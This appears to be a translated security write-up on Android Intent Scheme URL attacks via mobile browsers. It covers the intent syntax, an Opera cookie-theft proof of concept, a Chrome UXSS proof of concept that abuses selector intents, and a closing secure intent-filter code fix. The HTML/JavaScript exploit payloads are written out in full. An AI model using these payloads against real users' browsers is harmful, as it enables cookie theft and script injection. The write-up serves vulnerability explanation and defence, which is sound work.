0x0 Introduction
We know that Intent-based attacks on Android are common. Such attacks may cause application crash, but may evolve the Elevation of Privilege Vulnerability. Of course, Intent-Based malicious samples are easily identified by static feature matching.
However, an Android Browser-based attack, Intent Scheme URLs, has recently emerged. This attack method uses browser protection measures to indirectly implement Intend-Based attacks through the browser as a bridge. Compared with General Intend-Based attacks, this method is extremely concealed, and because Malicious Code hides WebPage, traditional feature matching does not work at all. In addition, such attacks can directly access components (whether public or private) and private files (such as cookie files) of the browser, thus causing leakage of user confidential information.
0x1 Intent scheme URL Usage
Let's take a look at the usage of Intent Scheme URL.
<script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>
In terms of usage, it is quite understandable. The code here is equivalent to the following Java code:
Intent intent = new Intent(“myaction”);intent.setData(Uri.parse(“mydata”));intent.setType(“text/plain”);
Let's look at another example:
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end
The preceding statement is equivalent to the following Java code:
Intent intent = new Intent(“myaction”);intent.setData(Uri.pase(“//foobar/”));intent.putExtra(“xyz”, “123”);intent.putExtra(“abc”, 678);
S indicates the key-value of the String type, and I indicates the key-value of the int type.
The source code provides the Intent. parseUri (String uri) static method. You can use this method to directly parse the uri. If you want to learn more about the syntax, you can view the official source code.
0x2 parsing and filtering of Intent scheme URI
If the browser supports the Intent Scheme URI syntax, it generally takes three steps:
Step 2 plays a key role. If the filtering rules are missing or have defects, the Intent Schem URL attack will occur.
The following figure shows the support for Intent scheme URLs by various browsers.
It can be seen that all browsers except Firefox support the Intent Scheme URL syntax.
0x3 attack Example a. cookie Theft of Opera mobile
Intent filtering policies on Opera are completely missing, so we can easily call private activities on Opera. For example, the following attack example:
<script>location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;</script>
Through the above script, we can directly call AdMarvelActivity. AdMarvelActvity obtains the url from the intent and parses the cookies in HTML/JavaScript format.
Imagine if we construct a malicious website in advance and allow users to access it through a browser. In this case, the following script exists in the malicious meeting:
<script>document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;</script>
When AdMarvelActivity parses cookies, playload is executed.
B. Chrome UXSS
The exploitation of Chrome's UXSS vulnerability is relatively complex. Before introduction, we need to first understand the usage of Intent Selector. For details, see. In short, the Intent Selector Mechanism provides a alternative solution that can be set when the main intent does not match. For example, if A is the main intent and B is the selector intent of A, when startActiviy is detected, the system will try to use B to match.
Compared with Opera, Chrome adds a security policy in the intent filter step. The Code is as follows:
Intent intent = Intent.parseUri(uri);intent.addCategory(“android.intent.category.BROWSABLE”);intent.setComponent(null);context.startActivityIfNeeded(intent, -1);
From the code, we can see that Chrome imposes a lot of restrictions to defend against Intent Based attacks, such as forcing category to "android. intent. category. BROWSABLE ", set component to null, which is much stronger than Opera later. However, Chrome ignores the usage of Intent Selector, for example:
intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end
Note that the keyword "SEL" is actually a selector intent with the component set to com. android. chrome/. xyz. This usage causes chrome's defense measures to be virtually empty. Finally, let's take a look at the PoC of Chrome UXSS:
<Script> // use WebAppActivity0 to open an attack site location. href = "intent: # Intent; S. webapp_url = http://victim.example.jp, l. webapp_id = 0; SEL; compo nent = com. android. chrome/com. google. android. apps. chrome. webapps. webappActivity0; end "; // stay for 2 s or longer, and then inject javascript payloadsetTimeout (function () {location. href = "intent: # Intent; S. webapp_url = javascript :( malicious javascript code); l. webapp_id = 1; SEL; component = com. android. chrome/com. google. android. apps. chrome. webapps. webappActivity0; end ";}, 2000); </script>
The key point here is how WebappActivity0 processes the new intent.
Open the site for the first time and complete loading. The second request is to directly inject javascript payload into the target webpage. This vulnerability exists in all versions of chrome earlier than v.30.0.1599.92. The new version modifies the WebappActivity's processing method for the new intent and creates a new tab to avoid javascript inject.
However, in the new version, the use of intent selector is still not avoided, so there is still a security risk of Chrome's private components and files being read.
0x4 Conclusion
Based on the descriptions of the preceding two vulnerabilities, we can conclude a relatively safe Intent Filter method. The Code is as follows:
// convert intent scheme URL to intent objectIntent intent = Intent.parseUri(uri);// forbid launching activities without BROWSABLE categoryintent.addCategory("android.intent.category.BROWSABLE");// forbid explicit callintent.setComponent(null);// forbid intent with selector intentintent.setSelector(null);// start the activity by the intentcontext.startActivityIfNeeded(intent, -1);